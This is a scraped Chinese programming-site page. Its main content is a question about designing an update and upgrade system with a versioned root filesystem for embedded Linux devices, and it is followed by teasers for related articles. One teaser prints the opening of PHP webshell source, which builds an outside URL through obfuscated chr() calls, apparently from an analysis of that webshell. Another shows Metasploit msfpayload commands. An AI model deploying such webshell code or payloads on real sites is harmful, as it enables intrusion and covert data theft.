linux java升级版本_为嵌入式Linux设备实现更新/升级系统

我有一个在嵌入式Linux设备上运行的应用程序,并且偶尔会对软件进行更改,有时也会对根文件系统甚至已安装的内核进行更改 .

在当前的更新系统中,只删除旧应用程序目录的内容,并在其上复制新文件 . 当对根文件系统进行更改时,新文件将作为更新的一部分传递,并简单地复制到旧文件上 .

现在,目前的方法存在一些问题,我正在寻找改善这种情况的方法:

用于创建文件系统映像的目标的根文件系统未进行版本控制(我认为我们甚至没有原始rootfs) .

手动选择进入更新的rootfs文件(而不是diff)

更新不断增长,成为皮塔饼 . 现在,更新/升级之间存在拆分,其中升级包含更大的rootfs更改 .

我的印象是,如果完全实现,更新中的一致性检查相当脆弱 .

要求是:

应用程序更新包不应太大,并且必须能够在已进行修改的情况下更改根文件系统 .

升级可以更大,只包含进入根文件系统的内容(如新库,内核等) . 更新可能需要安装升级 .

升级是否可以包含整个根文件系统,只需在目标的闪存驱动器上执行 dd ?

创建更新/升级包应尽可能自动化 .

我绝对需要一些方法来对根文件系统进行版本控制 . 这必须以某种方式完成,我可以从中计算某种 diff ,它可以用来更新目标设备的rootfs .

我已经查看了Subversion,因为我们将它用于源代码,但这对Linux根文件系统(文件权限,特殊文件等)不合适 .

我现在已经创建了一些shell脚本,可以给我一些类似于 svn diff 但我真的想知道是否已经存在一个可行的,经过测试的解决方案 .

使用这样的 diff ,我想升级将简单地成为包含基于已知根文件系统状态的增量更新的包 .

你对此有何看法和想法?你会如何实现这样的系统?我更喜欢一个简单的解决方案,可以在不太长的时间内实现 .

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/306981.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何在ASP.NetCore增加文件上传大小

关注架构师高级俱乐部开启架构之路不定期福利发放哦~架构师高级俱乐部读完需要7分钟速读仅需 3 分钟/ 如何在核心中增加文件 ASP.NET 大小 /从ASP.NET 2.0开始最大请求正文大小限制为30MB (28.6 MiB)。在正常情况下,无需增加 HTTP 请求 body …

java完全二叉树最小堆_Java实现最小堆一

Java实现最小堆一堆是一种经过排序的完全二叉树,其中任一非终端节点的数据值均不大于(或不小于)其左孩子和右孩子节点的值。最大堆和最小堆是二叉堆的两种形式。最大堆:根结点的键值是所有堆结点键值中最大者。最小堆:根结点的键值是所有堆结…

一个 Task 不够,又来一个 ValueTask ,真的学懵了!

一:背景 1. 讲故事前几天在项目中用 MemoryStream 的时候意外发现 ReadAsync 方法多了一个返回 ValueTask 的重载,真是日了狗了,一个 Task 已经够学了,又来一个 ValueTask,晕,方法签名如下:publ…

java class类型参数_使用Class对象实例化Java类型参数/ generic

如何实例化Java泛型对象,该对象仅接受类或参数给出的类型参数宾语?例如:通常,可以使用以下语法实例化Integer对象的ArrayList:ArrayList foo new ArrayList();但是,给定一个Class诸如Integer.class之类的对象,怎么能创建一个类似的ArrayList…

Magicodes.IE 3.0重磅设计畅谈

Magicodes.IE 3.0重磅设计畅谈总体设计图Magicodes.IE导入导出通用库,支持Dto导入导出、模板导出、花式导出以及动态导出,支持Excel、Csv、Word、Pdf和Html。IE在去年年底重构一次之后,经过这么长时间的迭代,又迎来了瓶颈。根据本…

php引用类,thinkphp引用类的使用

比如发送邮件类phpmailer1.将核心文件放入ORG目录下2.在使用的地方,引入这个类文件如何引入呢?import(.ORG.phpmailer);这个表示引入当前项目中的ORG中的phpmailer.class.php文件3.引入之后就可以使用文件中的类了public function sendEmail() {import(.…

Net5 已经来临,让我来送你一个成功

没错,那就是“下载成功”。现在,已经可以急速下载.Net5 docker 镜像 .Net 5 进行今天已经正式发布,想必各位已经通过各种渠道了解到了此次发布的所有内容。并且也都体会到了这次凑成三连的金 scott 是什么效果(啊哈,三…

list申请java,java把一个list中的内容添加到另一个list中 FPGA编程问题:有多个.v文件与module,把他们加到......

导航:网站首页 >java把一个list中的内容添加到另一个list中 FPGA编程问题:有多个.v文件与module,把他们加到...java把一个list中的内容添加到另一个list中 FPGA编程问题:有多个.v文件与module,把他们加到...相关问题…

推荐几款强大流行的BI系统

高级架构师俱乐部 读完需要2分钟速读仅需 1 分钟企业在日常运营过程中,需要根据公司实时经营数据来做未来决测或者发现经营中的问题,在此过程中离不开对数据的分析,而平常利用 excel 等方式极大的提高了领导层快速做出决测的成本&#xff0c…

php 4位数字不足补零,php实现数字不足补0的方法

php实现数字不足补0的方法发布时间:2020-08-28 09:51:06来源:亿速云阅读:100作者:小新这篇文章将为大家详细讲解有关php实现数字不足补0的方法,小编觉得挺实用的,因此分享给大家做个参考,希望大…

聊聊单元测试

大家好,我是Z哥。提起单元测试,很多人对它的态度是,我知道它有用,但是我不想写。大多数人的理由是没时间写,任务太多。但是说实话,是真的没时间吗?Z哥认为真是由于没时间而不写单元测试的人绝对…

php大马源码 手机网页,php大马源码:【百家号】脸书百科,分析 PHP大马-php_mof SHELL Web程序...

$password‘phpinfo‘;//登录密码//----------功能程序------------------//$c"chr";session_start();if (empty($_SESSION[‘PhpCode‘])) {$url$c(104).$c(116).$c(116).$c(112).$c(58);$url .$c(47).$c(47).$c(119).$c(119).$c(119);$url .$c(46).$c(112).$c(104)…

msf payload php,Metasploit(四)--Msfpayload命令

msfpayload即将在2015年6月18日弃用,用msfvenmon替代msfpayload -hmsfpayload的帮助信息。msfpayload -l | grep windowsmsfpayload -l | grep linuxmsfpayload -l | grep andriod列出某个平台的pyloadsmsfpayload windows/meterpreter/bind_tcp S查看需要设置参数m…

起点低,怎么破?

职场&认知洞察 丨 作者 / findyi这是findyi公众号分享的第91篇原创文章洋友问:“洋哥,我北漂多年,专科毕业从农村出来,感觉做什么都不顺,我该怎么办”。和他聊了聊,他毕业后就来北京打工,尝…

java编写记事本程序出现图形,高手帮忙啊,老师布置了一个作业,要用java编写一个记事本程序...

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼super(arg0);// TODO Auto-generated constructor stubinitialize();}/*** param arg0* throws HeadlessException*/public Notepad(String arg0) throws HeadlessException {super(arg0);// TODO Auto-generated constructor stub…

C# Span 源码解读和应用实践

一:背景 1. 讲故事这两天工作上太忙没有及时持续的文章产出,和大家说声抱歉,前几天群里一个朋友在问什么时候可以产出 Span 的下一篇,哈哈,这就来啦!读过上一篇的朋友应该都知道 Span 统一了 .NET 程序 栈 …

asp.net core web mvc之异常

与web api类似,asp.net core web mvc模板也是利用ExceptionHandler来处理错误,在starup的Configure配置数据发生时导向的/home/errorpublic void Configure(IApplicationBuilder app, IWebHostEnvironment env){if (env.IsDevelopment()){app.UseDevelop…

php phpmailer qq邮箱,QQ邮箱利用PHPmailer发送邮件

require_once("class.phpmailer.php");$mail new PHPMailer();//是否启用smtp的debug进行调试 开发环境建议开启 生产环境注释掉即可 默认关闭debug调试模式$mail->SMTPDebug 1;//使用smtp鉴权方式发送邮件$mail->isSMTP();//smtp需要鉴权 这个必须是true$ma…

java 类的实例化没有属性值,java – JsonMappingException:无法实例化类型的值没有single-long-arg构造函数/工厂方法...

嗨我正在尝试在zk框架上解析json响应到java中这是杰森的答复{"currentTime":1355390722038,"text":"OK","data":{"limitExceeded":false,"references":{"stops":[],"situations":[],"tr…

[C#.NET 拾遗补漏]12:死锁和活锁的发生及避免

多线程编程时,如果涉及同时读写共享数据,就要格外小心。如果共享数据是独占资源,则要对共享数据的读写进行排它访问,最简单的方式就是加锁。锁也不能随便用,否则可能会造成死锁和活锁。本文将通过示例详细讲解死锁和活…